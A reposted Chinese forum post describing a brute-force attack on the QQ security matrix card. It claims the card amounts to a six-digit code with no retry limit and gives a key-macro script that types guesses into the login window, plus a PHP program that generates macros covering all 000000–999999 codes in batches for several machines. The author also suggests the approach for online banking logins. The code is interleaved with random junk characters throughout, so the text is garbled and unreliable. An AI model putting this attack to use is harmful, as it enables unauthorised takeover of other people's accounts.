|
|
密保卡的设置挺复杂,采用A-J的纵坐标 与 1-8的模坐标中,放着两位任意的数字。而QQ登录的时候,是采用这样的三组组合。如果我们尝试由这些坐标点中的数字去发现规律,几乎是不可能的,我想这种思路也是导致许多想破解的人,立马放弃的原因。 首先来手工来登录,密保卡试一下,我们可以发现,实际上我们在破解这个密码过程中,可以完全忽略那三组的坐标组合,我们可以认真看到,密保卡,真正来讲只是要求6这个数字(0-9)。这样子,那我们的暴力破解就可以换一种思路了,那就是我们尝试用6个数字的暴力去跑那些密码框就行了。而且腾讯这个密保卡,没有限制尝试登录的次数。正好可以用来跑暴力的。分析的结果,就是这个密保卡的密码,我们只要让密码在这个区间“0 – 0 - 0 – 0 – 0 - 0 ====> 9-9-9-9-9-9”进行暴力输入验证就可以了。 现在已经锁定了,暴力破解的方案,那要采用什么工具呢?有想祭起delphi,搞一个窗口句柄跟踪,然后对这几个窗口进行,暴力破解的。只不过最近一直在用FreeBSD与C,对于Windows平台上面的编程真的一点兴趣都没有了? 想到的思路就是采用“按键精灵”软件,我们先手工录制一个“000000”的按键脚本,然后再用其他程序,写一个0-1000000的循环,将这里面的“000000”的值由“000000”到“999999”区间来代替,这样子就可以利用按键精灵的这个脚本来进行暴力的破解。下面发布一个按键精灵的脚本。2 b( P3 u. {: @7 D" r
' B! n( z- U) M$ u& H4 R B. L( v M6 U8 b9 F/ M4 @9 m
下面是“000000”的按键脚本2 k0 R# P, R: g9 r' l
MoveTo 817 320
+ S6 k! F( N3 z/ x" p" @MoveTo 817 318
) [9 e& o3 ^* N: oMoveTo 815 3175 X# b8 P* G" t& _- ^6 ]( g
MoveTo 811 315 P" S# n6 b+ j4 S1 v& Q
MoveTo 807 312
4 m2 i7 W. U7 \) B* p# u; e& vMoveTo 803 309
1 X1 r) _5 X; b, L0 C' A( \. IMoveTo 801 307
, j O5 f, A1 @% ~- l: s3 r# TMoveTo 799 3058 L0 |1 q$ ^- y; l! X6 }
MoveTo 797 302
6 e. k: i7 ~% Z8 S) A3 uMoveTo 796 300" ?( T) R- _) a
MoveTo 793 296
! b0 E7 H2 r- K! i/ vMoveTo 791 294
) K$ ]' n! I/ a# m- zMoveTo 788 291
7 R2 p6 ]% Q$ _ S/ W& i4 e1 QMoveTo 785 289
7 x; Y, \+ Y BMoveTo 783 2873 V3 l1 J! N2 V( p" Y' c& f
MoveTo 779 2850 [4 s9 ]* H* A
MoveTo 749 243) ]5 s- x ]; [5 s) E( t7 C. ]; q6 S
LeftClick 1
9 ]$ v/ i, B6 S+ Q% C2 qDelay 2063# h, O5 o. j% O+ N0 ^
KeyDown 48 1 这是第一位密码的按下
3 ?5 i& R& B, ?, UDelay 78
( X M- A. m( l6 V/ V+ oKeyUp 48 1 这是第一位密码的弹起
5 A( |6 m+ s3 ^$ s' JDelay 172
; ?$ m4 _+ G7 FKeyDown 48 1 这是第二位密码的按下* y( T0 o( q: }
Delay 780 L5 f ] `$ v" i/ R/ g
KeyUp 48 1 这是第二位密码的弹起
, N/ G7 O# Q5 U$ M" I* O# R/ y; lDelay 484
2 B9 \1 g) n3 W2 p4 AKeyDown 48 1 这是第三位密码的按下
, w& ~) [! i( M% WDelay 63 T0 b( w7 f3 n& O# n9 m3 f3 s
KeyUp 48 1 这是第三位密码的弹起- P) f2 [: j3 ~9 q+ t1 O
Delay 156
1 g) n1 \( ^8 x) c8 _, hKeyDown 48 1 这是第四位密码的按下4 m; s) H0 g0 c8 g, g
Delay 944 R5 f# Z" ?7 K5 j
KeyUp 48 1 这是第四位密码的弹起) g. t! @/ u" \7 [
Delay 687
1 ~0 _5 T! G- t2 Y1 ? a% lKeyDown 48 1 这是第五位密码的按下; n: Z: ?. O. g/ r3 ]7 Z! s; y6 D/ l
Delay 78
7 V* L/ X( f5 M1 a, DKeyUp 48 1 这是第五位密码的弹起
9 Q, U6 J5 O$ z8 h9 \* `& I: XDelay 985
% E/ ?8 `6 U& W3 kKeyDown 48 1 这是第六位密码的按下
9 S* E- O2 t/ E* xDelay 93 1 c5 R0 G* `' J
KeyUp 48 1 这是第六位密码的弹起3 K; n8 z: P/ z2 h: ^; [
MoveTo 952 286
; m8 M- }; H2 c/ P# k6 OMoveTo 966 287- T; G9 X7 M3 b- [$ J3 _7 p
MoveTo 980 289% G- w; r; C0 m) e+ e4 [ ^8 c
MoveTo 986 291
3 B" h- O8 E# L* l6 ?- f7 hMoveTo 990 292
; h1 r! L. u+ x. {MoveTo 994 292, J+ z$ k. c1 `0 Y
MoveTo 996 292
, n! t/ n1 o# _, X1 [MoveTo 997 292
- r j4 Q; |6 g5 qMoveTo 998 292# _9 u, y& a+ Z4 d
MoveTo 999 293* p" g3 M0 X- g$ [' b6 I
MoveTo 999 294
, t1 N4 t9 d2 j; FMoveTo 945 3095 ]% G, Z" G$ p" w, ?6 X( T
MoveTo 943 3094 u, N* a9 c( W) A& d- w) |3 G. K
MoveTo 915 306
% w+ z& @7 w3 p% \Delay 1063
8 [% @. t: h) S4 ?9 wLeftClick 17 B# I0 i' T+ o4 o8 T5 S
Delay 2657
% Z1 C: H6 q7 u+ c* ]! I1 V0 I) xLeftClick 14 a2 w& t/ ]- Q5 Z+ _2 ]
MoveTo 871 294$ \/ f" }$ s# |/ o/ \2 x" \
MoveTo 867 293
6 \; n4 B9 a8 s5 k5 M& V) g/ aMoveTo 862 291) D* b5 r: P; D0 ]. D# i
MoveTo 857 289: X2 c1 s+ C. G- p5 J* \3 @
MoveTo 853 288
+ v, O# |4 ^7 { IMoveTo 849 287
( m' T4 Z% k8 L4 z9 zMoveTo 844 284
8 z$ V$ q6 p5 G3 y8 h) k( Q8 y- a. KMoveTo 744 244
2 V: a. ^# E" c- w& a2 u7 ADelay 4641, o+ _' L' w! T6 S! A2 |+ w8 I
LeftClick 1' k6 a1 ^: I2 c1 o+ Z
MoveTo 612 2615 t. o Y; a+ y+ T+ Y
% P# x* |% Q5 }CrackQQ.php这个是用来生成暴力破解脚本的php代码1 T5 w3 u9 ^: S
<?php4 A t: J2 q. ^) \
set_time_limit(0);
, f- V" j. ?+ U$myfile = fopen('QQCrack.txt','w+');& z' `7 Z* v' K0 F( N% U9 X0 U9 e
for($pwd=0;$pwd<1000000;$pwd++)
3 _# \, i/ _7 I/ `' B6 e{0 x' W# }# y7 Q5 O
if($pwd<=9), A* I# \0 ~: K# _" ?9 O5 ?; W3 W
{- A( U! a9 Z* G
$pwd_1 = $pwd;
' y! M) O, a# |" Y) D0 N2 n% {7 ?4 }$pwd_2 = 0;" |9 J. m! R5 a' p8 J! _; f
$pwd_3 = 0;
9 i) `8 Z1 G' }: W* K) T* s0 F$pwd_4 = 0;' y( v) I! M ~$ h( T% b% T8 p
$pwd_5 = 0;& o9 ~- H% f i/ i$ g
$pwd_6 = 0;
, f+ m6 g2 |1 F2 s; X* n9 r }+ k+ R6 k9 J9 a: [" I% b/ P* k3 v0 F1 ~
if($pwd>9 && $pwd<=99)' N$ Y2 f. l2 z, D
{0 N) g$ v1 _/ {, a
$pwd_1 = substr($pwd,1,1);8 P7 {" T3 a- r1 l
$pwd_2 = substr($pwd,0,1);
9 D9 |% U6 v, _ j$pwd_3 = 0;
2 c5 u( v) r9 N) u. u6 d+ H1 n$pwd_4 = 0;
7 m# |- H& ^2 Z# o, H! L1 O$pwd_5 = 0;- E U1 B \) S, P8 D/ u2 o% _ e
$pwd_6 = 0;! ~, i( g6 z2 o* D; M% B7 Q
}6 M6 S t$ y* R" [, E7 r/ p* D
if($pwd>99 && $pwd<=999)6 _! I) g, M4 n) Y$ d& d
{
6 o( L+ c. D7 r$pwd_1 = substr($pwd,2,1);$ k0 \! e/ h2 P/ T! A
$pwd_2 = substr($pwd,1,1);1 ?: l! o, {6 y) g/ _: W( t4 N6 C
$pwd_3 = substr($pwd,0,1);
$ x) I5 V2 D1 {: U$pwd_4 = 0;' L( O7 @, t5 E* K) m- K4 ~9 Q
$pwd_5 = 0;! Y, Z g3 d2 q% P7 S' y1 q5 s' w
$pwd_6 = 0;. d% V! l0 `- ] T, e) R
}6 M6 L, B+ H- g/ q4 c
if($pwd>999 && $pwd<=9999)7 p+ |; _2 ?+ u. e& D8 j
{
4 q- t! `% m$ l$pwd_1 = substr($pwd,3,1);9 t/ `+ |8 S) {9 D/ Q/ l! T c) B* D
$pwd_2 = substr($pwd,2,1);
$ m# x9 H9 {+ K h* |$pwd_3 = substr($pwd,1,1);
4 Y& u; D3 ]- k* t0 [4 ] M$pwd_4 = substr($pwd,0,1);; {- m3 s5 z1 g" }( i6 t/ E0 J6 ^
$pwd_5 = 0;
( o+ z+ X/ O( C5 g* M5 D' _$pwd_6 = 0;
4 c* u K+ v$ v! {$ E9 | }- _ D6 v8 J9 z, l& K9 H: {
if($pwd>9999 && $pwd<=99999)
+ y! _7 W3 |$ r) q3 T( {2 ~# y {# G7 j2 d* V+ ^! I' `
$pwd_1 = substr($pwd,4,1);0 a9 r- a4 b# E9 ^ r
$pwd_2 = substr($pwd,3,1);8 U4 B7 j3 L& W
$pwd_3 = substr($pwd,2,1);
6 r+ q' }3 ?- C$pwd_4 = substr($pwd,1,1);9 O/ t; |8 k# P5 ?/ y
$pwd_5 = substr($pwd,0,1);# v5 x* \5 w- i0 {- b
$pwd_6 = 0;
& B+ C' m& Z' h7 z8 R$ a/ N4 l }& j' |2 H2 g; c( r
if($pwd>99999 && $pwd<=999999)
4 U& L; }7 s1 b4 w3 X1 @8 N {! F8 t6 D# _2 h( D) F
$pwd_1 = substr($pwd,5,1);
Z+ m0 a3 N5 Y+ Q8 }1 D# E7 `: G $pwd_2 = substr($pwd,4,1);4 m- y8 Q1 q" l Y
$pwd_3 = substr($pwd,3,1);
; U: y$ T0 r0 p) q$pwd_4 = substr($pwd,2,1);
& R, j! s* P! Y- N- ?* o+ W$pwd_5 = substr($pwd,1,1);' \/ J& r7 f- X) A& Q
$pwd_6 = substr($pwd,0,1);
6 x6 k, ]1 G0 T) t }
# P' [! `9 d. o0 Y3 |- u6 E
; x8 ]) j2 Z- m! e0 Q //echo $pwd_6,"-",$pwd_5,"-",$pwd_4,"-",$pwd_3,"-",$pwd_2,"-",$pwd_1,"<br>";% H8 {; ~1 r4 f; Q+ Y
//echo ord($pwd_6),"-",ord($pwd_5),"-",ord($pwd_4),"-",ord($pwd_3),"-",ord($pwd_2),"-",ord($pwd_1),"<br>";
% C n l# P3 G! ?6 h9 n# c7 o! Q6 U1 v7 R" H# O! S
$ord_pwd_1 = ord($pwd_1);
# w( d3 S: P. b6 q9 Z $ord_pwd_2 = ord($pwd_2);
: w, l1 f& \; G3 I $ord_pwd_3 = ord($pwd_3);
E- Z7 n: y( z $ord_pwd_4 = ord($pwd_4);% n! T7 B$ Y6 Z" ^! u
$ord_pwd_5 = ord($pwd_5);
; c0 |; o; i' A6 _! b( F $ord_pwd_6 = ord($pwd_6);$ z" f! `0 w( J/ B3 E0 x
7 e, ~& T4 J U4 t, N2 O
fwrite($myfile,"MoveTo 817 320\n");. Z& d# T7 o2 R$ y: ^" T: a% M# C
fwrite($myfile,"MoveTo 817 318\n");
, B( j0 e9 v4 x$ w fwrite($myfile,"MoveTo 815 317\n");+ P2 l/ \$ m+ m3 q2 K
fwrite($myfile,"MoveTo 811 315\n");
( }% h6 U! w4 o- w3 \- p! } fwrite($myfile,"MoveTo 807 312\n");
# X- `5 ]$ C' d' h7 {2 r fwrite($myfile,"MoveTo 803 309\n");- Z( k. L0 X& b6 X0 y- a6 s/ T
fwrite($myfile,"MoveTo 801 307\n");) X8 ]. ~% E9 q T8 g
fwrite($myfile,"MoveTo 799 305\n");
! E2 s( `3 g* p/ H fwrite($myfile,"MoveTo 797 302\n");# d! _! E; f' s j/ s- }8 M
fwrite($myfile,"MoveTo 796 300\n");
& E+ i/ T1 F/ S. }3 s5 B fwrite($myfile,"MoveTo 793 296\n");9 ?" c/ c6 P! R, h( w
fwrite($myfile,"MoveTo 791 294\n");- r$ W* l) x# I1 G! C( U l
fwrite($myfile,"MoveTo 788 291\n");
1 p% \# G/ Y: u% k0 M fwrite($myfile,"MoveTo 785 289\n");4 j0 L. ?% ?5 Q* |; p
fwrite($myfile,"MoveTo 783 287\n");
* Z4 ]+ S, v; j# I1 S2 d0 \, d+ n fwrite($myfile,"MoveTo 779 285\n");' Y+ f' ]. c% b+ D: c+ m
fwrite($myfile,"MoveTo 749 243\n");/ B2 x5 ^) A v( [7 @. v2 M+ q/ I
fwrite($myfile,"LeftClick 1\n");# s; X1 D0 A P' q
fwrite($myfile,"Delay 2063\n");" u) U- h5 P, q
fwrite($myfile,"KeyDown $ord_pwd_6 1\n"); //第一位密码按下
- E* S# U8 B$ t/ c fwrite($myfile,"Delay 78\n");
( ~9 |# E$ T1 g: E: Q* A fwrite($myfile,"KeyUp $ord_pwd_6 1\n"); //第一位密码弹起6 G Z9 l/ N- L4 l- k6 A1 D# l
fwrite($myfile,"Delay 172\n");0 u2 k. {- B4 o+ |0 e0 y2 [ P
fwrite($myfile,"KeyDown $ord_pwd_5 1\n"); //第二位密码按下7 N' D/ _$ n4 V( a E/ C8 b
fwrite($myfile,"Delay 78\n");- r( G% {4 _! y+ B! _
fwrite($myfile,"KeyUp $ord_pwd_5 1\n"); //第二位密码弹起
: s5 k m P% `( f4 D9 t# c1 m fwrite($myfile,"Delay 484\n");7 P% R# j9 R8 l9 _! N) }/ g J
fwrite($myfile,"KeyDown $ord_pwd_4 1\n"); //第三位密码按下
' i% C" n5 m1 q& \ fwrite($myfile,"Delay 63\n");
" C5 D* x2 b( l" j& p: Q fwrite($myfile,"KeyUp $ord_pwd_4 1\n"); //第三位密码弹起6 R( c0 ^5 K0 }
fwrite($myfile,"Delay 156\n");
$ E+ L5 d: X; h5 }3 d1 y! b" Y fwrite($myfile,"KeyDown $ord_pwd_3 1\n"); //第四位密码按下0 j1 F; a a# R9 D! j4 z8 |4 l& K
fwrite($myfile,"Delay 94\n");; M, N/ n- b, m
fwrite($myfile,"KeyUp $ord_pwd_3 1\n"); //第四位密码弹起
# A& @8 ^" |+ u fwrite($myfile,"Delay 687\n");8 d" c1 N+ D8 h
fwrite($myfile,"KeyDown $ord_pwd_2 1\n"); //第五位密码按下
% N9 ~/ c) l, O k( E' } fwrite($myfile,"Delay 78\n");
2 I) h9 S: Q0 s fwrite($myfile,"KeyUp $ord_pwd_2 1\n"); //第五位密码弹起
}/ s H4 r# Y- {* H fwrite($myfile,"Delay 985\n");: @( t2 J4 H) A2 f" ?) Y: G F
fwrite($myfile,"KeyDown $ord_pwd_1 1\n"); //第六位密码按下
# O U% c* C* H& I2 g fwrite($myfile,"Delay 93\n");" s8 q, }+ i4 O1 i; C
fwrite($myfile,"KeyUp $ord_pwd_1 1\n"); //第六位密码弹起& t) A# s( b- J" g0 U( v
fwrite($myfile,"MoveTo 952 286\n");0 j$ s' ^0 A/ _/ R7 o. g* m
fwrite($myfile,"MoveTo 966 287\n");! ~ u/ N3 r5 P. Y. z
fwrite($myfile,"MoveTo 980 289\n");
4 Q/ b/ V; Z5 Z- N" [# F2 i% \ fwrite($myfile,"MoveTo 986 291\n");
$ \; z& Q) F8 u6 O fwrite($myfile,"MoveTo 990 292\n");/ n! G; V2 w- u4 I3 w% ~+ G
fwrite($myfile,"MoveTo 994 292\n");
3 @1 |& J$ v" {* ]7 U fwrite($myfile,"MoveTo 996 292\n");
! ^3 p& D! P$ [/ }' _- G/ N fwrite($myfile,"MoveTo 997 292\n");9 v' `/ p2 N/ Z- R6 f
fwrite($myfile,"MoveTo 998 292\n");
. V% x: e3 k. e) d) t. _ fwrite($myfile,"MoveTo 999 293\n");1 f/ ^* ]$ f% Q- |- Y
fwrite($myfile,"MoveTo 999 294\n");0 b5 R- f( j M4 l- i! B
fwrite($myfile,"MoveTo 945 309\n");
4 x/ V3 v, g4 m6 N1 R fwrite($myfile,"MoveTo 943 309\n");
4 {( w0 C9 r2 I# M4 q fwrite($myfile,"MoveTo 915 306\n");( m# A. F! f% J. d7 _) b$ {' [$ f! m2 F
fwrite($myfile,"Delay 1063\n");
# ?5 G3 {3 l; ?7 e" l& ~' N- y9 V2 P. Q* } fwrite($myfile,"LeftClick 1\n");
. l$ Y6 f. }3 N* x8 N fwrite($myfile,"Delay 2657\n");8 Y' [5 z8 z- l# Q: Y2 b, H) `
fwrite($myfile,"LeftClick 1\n");: e6 S5 C# Y. P# t2 f6 y4 u
fwrite($myfile,"MoveTo 871 294\n");
4 D+ G2 M( _3 p5 ~% R# A fwrite($myfile,"MoveTo 867 293\n");$ y; z* ?8 E. N: C# M
fwrite($myfile,"MoveTo 862 291\n");
: Z. @0 m+ a, a7 h' } fwrite($myfile,"MoveTo 857 289\n");6 C# c; i/ m4 h1 ~
fwrite($myfile,"MoveTo 853 288\n");
" U+ d1 g1 t4 o: b h- k" z. B2 D fwrite($myfile,"MoveTo 849 287\n");
; _! x+ [/ |2 h fwrite($myfile,"MoveTo 844 284\n");0 T( @9 \8 @# y$ r1 i( l
fwrite($myfile,"MoveTo 744 244\n");
r8 P! F3 K. @5 `: a fwrite($myfile,"Delay 4641\n");& C: [7 M0 t# H# ~0 R4 W- N, ]+ j
fwrite($myfile,"LeftClick 1\n");( a3 c8 s. Z: p& N
fwrite($myfile,"MoveTo 612 261\n");2 q6 W3 g3 I4 ~4 a. b
}
% n) Z+ P$ l" g' i$ Vfclose($myfile);
$ O1 o+ v6 [& l1 q?>* |: t$ T/ Q' x. y. v# d
注意,这个脚本生成暴力破解脚本QQCrack.txt达到900M左右了,这样子我们只要将这个脚本拷贝到按键精灵的目录下就可以了调用。现在唯一担心的就是按键精灵,是否直接这么多行的脚本了。
: j. n1 P/ ^4 y* h' K" R$ z2 \/ x
4. 严重的情况发生了,生成的这个暴力脚本太大了,连EditPlus打开都出错了,看来按键精灵也必须会出错的。甚至用Word打开,也只能支持32M大小的文件。看来不能一下子生成的暴力破解文件。那只能限制数据的范围来生成不同段的暴力文件了。就是可以将CrackQQ.php文件中的“for($pwd=0;$pwd<1000000;$pwd++)”这个代码的范围,修改成5 T9 l; G2 W- y( f
“for($pwd=0;$pwd<10000;$pwd++)”这样子的一个个段,分段生成不同的暴力文件,然后再将这些分段的暴力的文件,拷贝到不同的计算机上面,进行分段的暴力输入与暴力破解的。
# P. P$ }) y% G8 j0 I* I5 Y) K在这个生成暴力破解的文件过程中,建议采用FireFox浏览器来读取php代码,本人是将这个php脚本拷贝到FreeBSD下面,然后打开FireFox浏览器来读取php的。
3 j* {" z! I' ?* q( K9 L$ W* E$ L0 o
6 b+ w& g) X' M, b
/ \( Q W2 Z) c V: m, R5. 生成10000次的暴力破解的文件,竟然需要9M的大小。如果这样子大小,按最早生成的900M,就需要将暴力破解的文件,分成100批进行暴力文件生成与分批运算破解的。虽然这个过程麻烦,不过总算是完全实现了暴力破解的全过程。
, ]6 }. Z; R. W/ k
& Y2 g) d$ B2 o( T& {当然采用这种方法,实际上也可以用来对某些在线银行的密码登录暴力破解提供参考思路的.' w5 M% a. v6 q8 Y
3 \! n. \! H! MPS:本文为转载自 智导网络 作者:林峰7 A* ~ S$ R2 }! ~
- J& E. C, b3 b- Z% ^* L$ S/ Q5 k7 e5 j+ }# c
本人未曾测试过该脚本是否有效,但是这种方法可以为各位提供密保卡的破解思路! | : v9 j; P9 x; G7 _
|
|